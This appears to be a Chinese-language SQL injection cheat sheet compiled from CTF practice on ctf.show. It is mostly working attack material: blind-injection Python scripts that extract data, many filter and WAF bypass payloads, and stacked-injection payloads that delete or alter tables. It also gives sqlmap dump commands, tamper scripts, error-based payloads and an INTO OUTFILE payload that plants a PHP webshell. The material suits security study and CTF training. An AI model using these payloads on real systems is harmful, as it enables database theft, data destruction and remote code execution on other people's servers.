sql注入总结
常用查询语句
查表名
select group_concat(table_name) from information_schema.tables where table_schema=database()
# 过滤information的情况下
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()
select group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()
group_concat
将所有结果放在一起
查列名
select group_concat(column_name) from information_schema.columns where table_name='TableName'
查数据
select * from TableName
mysql中常用函数
to_base64
将结果进行base64编码 to_base64(‘a’)
hex
将结果转成16进制 hex(‘a’)
REPLACE
替换函数 replace(obj,search,rep) 将obj中的search替换成rep
ascii
输出字符串/字符/数字 的ascii码
substr
if
sleep
字面意思
regexp
正则匹配 可以用在盲注中 eg:
ctfshow_user
where(substr(pass
,{i},1)regexp(‘{s}’))
like
和regexp有相同的效果 在匹配字符串时
having
常跟在group by后边
如果想查询平均分高于80分的学生记录可以这样写:
SELECT id, COUNT(course) as numcourse, AVG(score) as avgscore
FROM student
GROUP BY id
HAVING AVG(score)>=80;
在这里,如果用WHERE代替HAVING就会出错。
盲注
时间盲注
sleep盲注
利用if sleep
import requests
from time import time
url="http://0c216321-dea8-4208-882e-ac20fc4dc4b5.challenge.ctf.show:8080/api/index.php"
flag=''
i=0
while True:
i+=1
head=32
tail=127
while head<tail:
mid=(head+tail)>>1
#查表ctfshow_flagx,ctfshow_info
#payload="select group_concat(table_name) from information_schema.tables where table_schema=database()"
#查字段id,flaga,info
#payload="select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
payload="select flaga from ctfshow_flagx"
data={
'ip':f'if(ascii(substr(({payload}),{i},1))>{mid},sleep(2),1)',
'debug':0
}
try:
r=requests.post(url,data,timeout=1)
tail=mid
except:
head=mid+1
if head!=32:
flag+=chr(head)
print(flag)
else:
break
设置requests的timeout值 如果if返回的是sleep(1) 那么在requests的时候会因为timeout出错 进入到except中 由此判断if中表达式是否正确
benchmark盲注
笛卡尔积盲注
import requests
import time
url="http://8b738514-d058-4236-be51-b6e044a1f760.challenge.ctf.show:8080/api/index.php"
flag=''
i=0
tim="SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I"
while True:
i+=1
head=32
tail=127
while head<tail:
mid=(head+tail)>>1
if mid==121:
time.sleep(2)
#查表
payload="select group_concat(table_name) from information_schema.tables where table_schema=database()"
#查字段
#payload="select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
#payload="select flaga from ctfshow_flagx"
data={
'ip':f"if(ascii(substr(({payload}),{i},1))>{mid},({tim}),1)",
'debug':0
}
try:
print(data)
r=requests.post(url,data,timeout=2)
tail=mid
except:
head=mid+1
if head!=32:
flag+=chr(head)
print(flag)
time.sleep(5)
else:
break
将原来的sleep替换成
SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I
正则DOS RLIKE注入
import requests
import time
url="http://8b738514-d058-4236-be51-b6e044a1f760.challenge.ctf.show:8080/api/index.php"
flag=''
i=0
#tim="SELECT count(*) FROM information_schema.tables A, information_schema.schemata B, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F,information_schema.schemata G, information_schema.schemata H,information_schema.schemata I"
tim="concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+b'"
while True:
i+=1
head=32
tail=127
while head<tail:
mid=(head+tail)>>1
# if mid==121:
# time.sleep(2)
#查表
payload="select group_concat(table_name) from information_schema.tables where table_schema=database()"
#查字段
#payload="select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'"
#payload="select flaga from ctfshow_flagx"
data={
'ip':f"if(ascii(substr(({payload}),{i},1))>{mid},({tim}),1)",
'debug':0
}
try:
print(data)
r=requests.post(url,data,timeout=0.3)
tail=mid
except:
head=mid+1
if head!=32:
flag+=chr(head)
print(flag)
# time.sleep(5)
else:
break
关键是
tim="concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+b'"
绕过过滤
空格过滤
/*/ /!/ %09 %0a %0b %0c %0d %a0 %00 %23 Tab代替空格 使用单引号代替 eg:(id=1’or’1’=’1’%23) 使用括号代替 eg:(-1’or(id=26)and’a’=’a) 使用浮点数 eg:select from users where id=8E0union select 1,2,3 在表名和数据库名那里可以用反引号 不需要空格
引号绕过
如果是在where类似的后边输入库名字 表名字的 可以使用16进制绕过 eg:(select column_name from information_schema.tables where table_name=0x7573657273)
逗号绕过
在盲注时用到substr会用到逗号
用 from for 绕过 eg:(select substr(database() from 1 for 1);) (select mid(database() from 1 for 1);)
使用join:
union select 1,2 #等价于 union select * from (select 1)a join (select 2)b
使用like:
select ascii(mid(user(),1,1))=80 #等价于 select user() like ‘r%’
对于limit可以使用offset来绕过:
select from news limit 0,1 等价于下面这条SQL语句 select from news limit 1 offset 0
比较符<>绕过
使用greatest()、least():(前者返回最大值,后者返回最小值)
eg:greatest(ascii(substr((select flag from ctf),1,1)),76)=76
使用between and:
between 1 and 1; 等价于 =1
or and xor not绕过:
and=&& or= xor= not=!
or也可以用^ 替代
绕过注释符号(#,–(后面跟一个空格))过滤:
=绕过
使用like 、rlike 、regexp 或者 使用< 或者 >
绕过union,select,where等
使用注释符绕过
常用注释符:
//,– , //, #, –+, – -, ;,%00,–a 用法: U// NION // SE// LECT /**/user,pwd from user
利用/!union/可以绕过对union的过滤
使用大小写绕过
内联注释绕过
id=-1’/!UnIoN/ SeLeCT 1,2,concat(/!table_name/) FrOM /information_schema/.tables /!WHERE //!TaBlE_ScHeMa/ like database()#
双关键字绕过(若删除掉第一个匹配的union就能绕过)
通用绕过(编码)
如URLEncode编码,ASCII,HEX,unicode编码绕过:
or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
substr过滤
使用like 或者regexp绕过 left mid right
locate()函数
等价函数绕过
hex()、bin(),ord() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
数字绕过
数字可以通过true+true绕过
1=true 2=true+true 3=true+true+true
特殊字符
one
登录时
使用用户名:admin 密码为:ffifdyop
ffifdyop的MD5(st,true)的值为 ’or’6�]��!r,��b
two
登录账号密码都为0
过滤了单引号
过滤了单引号 使用闭合符号
堆叠注入
定义
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的, 我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做 stacked injection。
堆叠注入原理
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为: Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
payload
1;show tables; 将pass列更改为autumn 将id列更改为pass列 1;alter table ctfshow_user change pass autumn varchar(255); alter table ctfshow_user change id passvarchar(255)
handler读取
ctfshow’;show tables;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;
预处理读取
‘;prepare a from concat(‘sele’,’ct * from
ctfshow_flagasa
‘);execute a;#
预处理中可以将from后的语句转为16进制
';prepare a from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute a;#
sqlmap使用
爆库 python sqlmap.py -u url –dbs 爆表 python sqlmap.py -u url -D database_name –tables 爆列名 python sqlmap.py -u url -D database_name -T table_name –columns 爆字段 python sqlmap.py -u url -D database_name -T table_name -C column_name –dump
使用post请求
python sqlmap.py -u url --data="id=1" --referer="ctf.show" -D "ctfshow_web" -T "ctfshow_user" --columns -C pass --dump
尽量用这个
python sqlmap.py -u url --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" -D "ctfshow_web" -T "ctfshow_user" --columns -C pass --dump
添加cookie
python sqlmap.py -u url --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=0r1o7m11nbljtm95t6holosfsi; ctfshow=fb18d052f4477293bd3580f0f20ede7d" -D "ctfshow_web" -T "ctfshow_user" --columns -C pass --dump
发送请求前的操作
--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置每测试多少条注入语句后才去访问safe-url
python sqlmap.py -u url --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" -D "ctfshow_web" -T "ctfshow_user" --columns -C pass --dump --safe-url=before_url --safe-freq=1
tamper编写
已经存在的
space2comment.py用/**/代替空格
apostrophemask.py用utf8代替引号
equaltolike.pylike代替等号
space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)
greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py空格替换为#号,随机字符串以及换行符
apostrophenullencode.py绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’
space2mssqlblank.py(mssql)空格替换为其它空符号
base64encode.py 用base64编码替换
space2mssqlhash.py 替换空格
modsecurityversioned.py过滤空格,包含完整的查询版本注释
space2mysqlblank.py 空格替换其它空白符号(mysql)
between.py用between替换大于号(>)
space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py围绕SQL关键字添加多个空格
space2plus.py用+替换空格
bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
nonrecursivereplacement.py双重查询语句,取代SQL关键字
space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py双url编码(不处理以编码的)
unionalltounion.py替换UNION ALLSELECT UNION SELECT
charencode.py url编码
randomcase.py随机大小写
unmagicquotes.py宽字符绕过 GPCaddslashes
randomcomments.py用/**/分割sql关键字
charunicodeencode.py字符串 unicode 编码
securesphere.py追加特制的字符串
versionedmorekeywords.py注释绕过
space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’
halfversionedmorekeywords.py关键字前加注释
自己编写
#!/usr/bin/env python
"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
retVal=""
for i in range(len(payload)):
if payload[i]==" ":
retVal+="/**/"
else:
retVal+=payload[i]
return retVal
tamper函数中是对payload的处理操作 上边是将空格替换成/**/ 返回值为处理后的payload
无列名注入
select group_concat(`2`) from (select 1,2,3 union select * from flag23a1)a
写文件
如果sql是这样的
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
payload
filename=1.php' LINES STARTING BY '<?php eval($_POST[1]);?>'#
“OPTION”参数为可选参数选项,其可能的取值有:
`FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。
`FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。
`FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
`FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。
`LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。
`LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。
报错注入
UPDATEXML() 报错注入
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
payload
id=' or updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),1),1)-- -
Extractvalue报错注入
payload
?id=' or extractvalue(1,concat(0x7e,database(),0x7e))#23
双查询报错
payload
' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand()*2))a from information_schema.columns group by a-- -
?id=' union select 1,count(*),concat((select flag2 from ctfshow_flags),0x7e,floor(rand()*2))a from information_schema.columns group by a-- -
rand相同的函数
ceil 是向上取整。 round
ROUND(X) – 表示将值 X 四舍五入为整数,无小数位 ROUND(X,D) – 表示将值 X 四舍五入为小数点后 D 位的数值,D为小数点后小数位数。若要保留 X 值小数点左边的 D 位,可将 D 设为负值。
12种报错
1. floor + rand + group by
select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from user where id=1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
2. ExtractValue
select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3. UpdateXml
select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1));
4. Name_Const(>5.0.12)
select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;
5. Join
select * from(select * from mysql.user a join mysql.user b)c;
select * from(select * from mysql.user a join mysql.user b using(Host))c;
select * from(select * from mysql.user a join mysql.user b using(Host,User))c;
6. exp()//mysql5.7貌似不能用
select * from user where id=1 and Exp(~(select * from (select version())a));
7. geometrycollection()//mysql5.7貌似不能用
select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b));
8. multipoint()//mysql5.7貌似不能用
select * from user where id=1 and multipoint((select * from(select * from(select user())a)b));
9. polygon()//mysql5.7貌似不能用
select * from user where id=1 and polygon((select * from(select * from(select user())a)b));
10. multipolygon()//mysql5.7貌似不能用
select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b));
11. linestring()//mysql5.7貌似不能用
select * from user where id=1 and linestring((select * from(select * from(select user())a)b));
12. multilinestring()//mysql5.7貌似不能用
select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));